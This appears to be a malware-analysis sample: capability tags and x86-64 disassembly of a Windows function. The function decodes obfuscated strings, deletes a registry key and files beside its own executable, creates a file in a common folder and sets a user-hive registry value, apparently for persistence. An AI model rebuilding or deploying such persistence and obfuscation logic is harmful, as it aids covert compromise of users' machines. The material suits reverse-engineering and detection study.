Function at 0x14000947c
Capabilities:
Create directory
Delete file
Delete registry key
Get common file path
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x270]
sub rsp, 0x370
mov rax, qword [0x140163470]
xor rax, rsp
mov qword [rbp + 0x260], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersion_
lea rcx, [rsp + 0x50]
call fcn.1400e9c20
lea rbx, [rsp + 0x50]
mov edx, 0xb2616035
movsxd rcx, eax
mov r8d, 0xa
add rbx, rcx
lea rcx, [0x1401657f8]
call fcn.140001318
sub rbx, rax
xor edi, edi
mov cl, byte [rax]
mov byte [rbx + rax], cl
inc rax
test cl, cl
jne 0x1400094df
lea rax, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r9d, 0x2010e
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140009668
mov edx, 0x342ef611
mov ecx, 0x5992a187
mov r8d, 0xea77920e
call fcn.140001390
lea r8, [0x140129d88]
lea rcx, [rbp + 0x160]
mov rdx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, qword [rsp + 0x40]
lea rdx, [rbp + 0x160]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rsp + 0x50]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x50]
mov edx, 0x5c
call fcn.1400e9f08
mov rbx, rax
test rax, rax
je 0x140009668
mov edx, 0x1c49bfe5
mov ecx, 0x71f5e843
mov r8d, 0xc210dbf0
add rbx, 2
call fcn.140001390
mov rdx, rbx
sub rdx, rax
movzx ecx, word [rax]
mov word [rdx + rax], cx
lea rax, [rax + 2]
test cx, cx
jne 0x1400095ae
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, 0xcacd763d
mov ecx, 0xa771217f
mov r8d, 0x14941228
call fcn.140001390
mov rdx, rbx
sub rdx, rax
movzx ecx, word [rax]
mov word [rdx + rax], cx
lea rax, [rax + 2]
test cx, cx
jne 0x1400095e4
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, 0x7c37c63f
mov ecx, 0x118b9161
mov r8d, 0xa26ea22a
call fcn.140001390
mov rdx, rbx
sub rdx, rax
movzx ecx, word [rax]
mov word [rdx + rax], cx
lea rax, [rax + 2]
test cx, cx
jne 0x14000961a
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, 0x9166ac74
mov ecx, 0xfcdafb0e
mov r8d, 0x4f3fc87c
call fcn.140001390
sub rbx, rax
movzx ecx, word [rax]
mov word [rbx + rax], cx
lea rax, [rax + 2]
test cx, cx
jne 0x14000964d
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 1
call fcn.1400087d0
mov rdx, qword [0x140175b50]
lea r8, [rsp + 0x40]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x14000969f
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140009927
call fcn.140023d28
xor r9d, r9d
lea rax, [rsp + 0x50]
lea edx, [r9 + 0x1a]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x140009713
mov edx, 0x254ef1dc
mov ecx, 0x48f2a6c4
mov r8d, 0xfb1795d4
call fcn.140001390
lea rcx, [rsp + 0x50]
mov r8, rax
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x1400096e5
xor edx, edx
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
inc rdx
test ax, ax
jne 0x1400096f0
lea rcx, [rsp + 0x50]
call fcn.140022910
cmp al, 1
je 0x140009878
xor r9d, r9d
lea rax, [rsp + 0x50]
xor r8d, r8d
lea ebx, [r9 + 0x23]
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov edx, ebx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x140009786
mov edx, 0xcde464c6
mov ecx, 0xa05833f8
mov r8d, 0x13bd00ce
call fcn.140001390
lea rcx, [rsp + 0x50]
mov r9, rax
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x140009756
xor r8d, r8d
movzx eax, word [r9 + r8*2]
mov word [rcx + r8*2], ax
inc r8
test ax, ax
jne 0x140009762
lea rcx, [rsp + 0x50]
call fcn.140022910
cmp al, 1
je 0x140009878
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov edx, ebx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x140009878
mov edx, 0x3acb49e4
mov ecx, 0x57771f38
mov r8d, 0xe4922dfb
call fcn.140001390
lea rcx, [rsp + 0x50]
mov r8, rax
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x1400097c9
xor edx, edx
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
inc rdx
test ax, ax
jne 0x1400097d4
lea rcx, [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edx, 0x31b7853a
mov ecx, 0x5c0bd3d6
mov r8d, 0xefeee128
call fcn.140001390
lea rcx, [rsp + 0x50]
mov r9, rax
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x140009813
xor edx, edx
movzx eax, word [r9 + rdx*2]
mov word [rcx + rdx*2], ax
inc rdx
test ax, ax
jne 0x14000981e
lea rcx, [rsp + 0x50]
call fcn.140022910
test al, al
jne 0x140009878
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x50]
lea r8d, [r9 + 2]
mov edx, 0x40000000
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140009878
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [0x140175b50]
lea r8, [rsp + 0x48]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x1400098ec
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, 0x38075b14
mov ecx, 0x55bb0d92
mov r8d, 0xe65e3f0a
lea ebx, [rax*2 + 2]
call fcn.140001390
mov rcx, qword [rsp + 0x48]
mov r9d, 1
mov rdx, rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [0x140165902]
mov edx, 0x39f28446
mov r8d, 0x14
call fcn.140001318
lea r8, [0x140129e38]
lea rcx, [rsp + 0x50]
mov rdx, rax
mov r9d, 1
call fcn.1400e9c20
lea rcx, [rsp + 0x50]
call fcn.14000a180
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.1400e8bc0
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret